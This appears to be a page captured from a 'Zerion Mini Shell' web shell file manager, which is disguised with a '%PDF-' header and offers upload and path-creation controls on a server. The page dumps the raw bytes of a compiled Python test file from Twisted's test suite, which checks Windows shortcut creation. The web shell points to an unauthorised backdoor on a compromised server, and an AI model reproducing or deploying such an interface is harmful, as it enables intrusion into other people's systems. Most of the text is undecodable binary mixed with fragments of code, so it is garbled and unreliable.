%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/test_shortcut.cpython-312.pyc

�

Ϫ�f����dZddlZddlZddlZddlmZdZ	ddlm	Z	ddl
mZejdddk\rd	ZGd
�dej�Zy#e$rdZY�3wxYw)z
Test win32 shortcut script
�N)�unittest)�shell)�shortcutz"Only runs on Windows with win32com�)��zBroken on Python 3.7+.c� �eZdZeZdd�Zdd�Zy)�
ShortcutTestsNc��t}tjj|�}t	j
|�}|j
�dz}|j|�|jtjj|��t	j|�}|jtj�d}|j|t|�dj!�|j!��y)z+
        Create a simple shortcut.
        �.lnkrN)�__file__�os�path�basenamer�Shortcut�mktemp�save�
assertTrue�exists�open�GetPathr�SLGP_RAWPATH�assertEqual�len�lower)�self�testFilename�baseFileName�s1�tempname�sc�scPaths       �</usr/lib/python3/dist-packages/twisted/test/test_shortcut.py�test_createzShortcutTests.test_creates��� ���w�w�'�'��5��
�
�
�|�
,���;�;�=�6�)��
�������������x�0�1�
�]�]�8�
$�����E�.�.�/��2�������\�!2� 2� 4�5�;�;�=�|�?Q�?Q�?S�T�c��tj}tjj	|�}tj�}tj|dd||d��}|j�dz}|j|�|jtjj|��tj|�}|jtj �d}|j#|t%|�dj'�|j'��|j#|j)�d�|j#|j+�|�|j#|j-�|df�y)zZ
        Create a shortcut to the Python executable,
        and set some values.
        z-VzThe Python executable�)r�	arguments�description�
workingdir�iconpath�iconidxrrN)�sys�
executablerrr�tempfile�
gettempdirrrrrrrrrrrrrr�GetDescription�GetWorkingDirectory�GetIconLocation)rrr�tempDirrr r!r"s        r#�test_createPythonShortcutz'ShortcutTests.test_createPythonShortcut(s1��
�~�~���w�w�'�'��5���%�%�'��
�
�
���/����

���;�;�=�6�)��
�������������x�0�1�
�]�]�8�
$�����E�.�.�/��2�������\�!2� 2� 4�5�;�;�=�|�?Q�?Q�?S�T�����*�*�,�.E�F�����/�/�1�7�;�����+�+�-���|�<r%)�returnN)�__name__�
__module__�__qualname__�
skipReason�skipr$r5�r%r#r
r
s���D�U�=r%r
)�__doc__�os.pathrr-r/�
twisted.trialrr:�win32com.shellr�twisted.pythonr�ImportError�version_info�TestCaser
r<r%r#�<module>rEsl����
��"�
�
�6�$�'����A�a��F�"�)�J�)=�H�%�%�)=���6�5�J�6�s�A�A�A

Zerion Mini Shell 1.0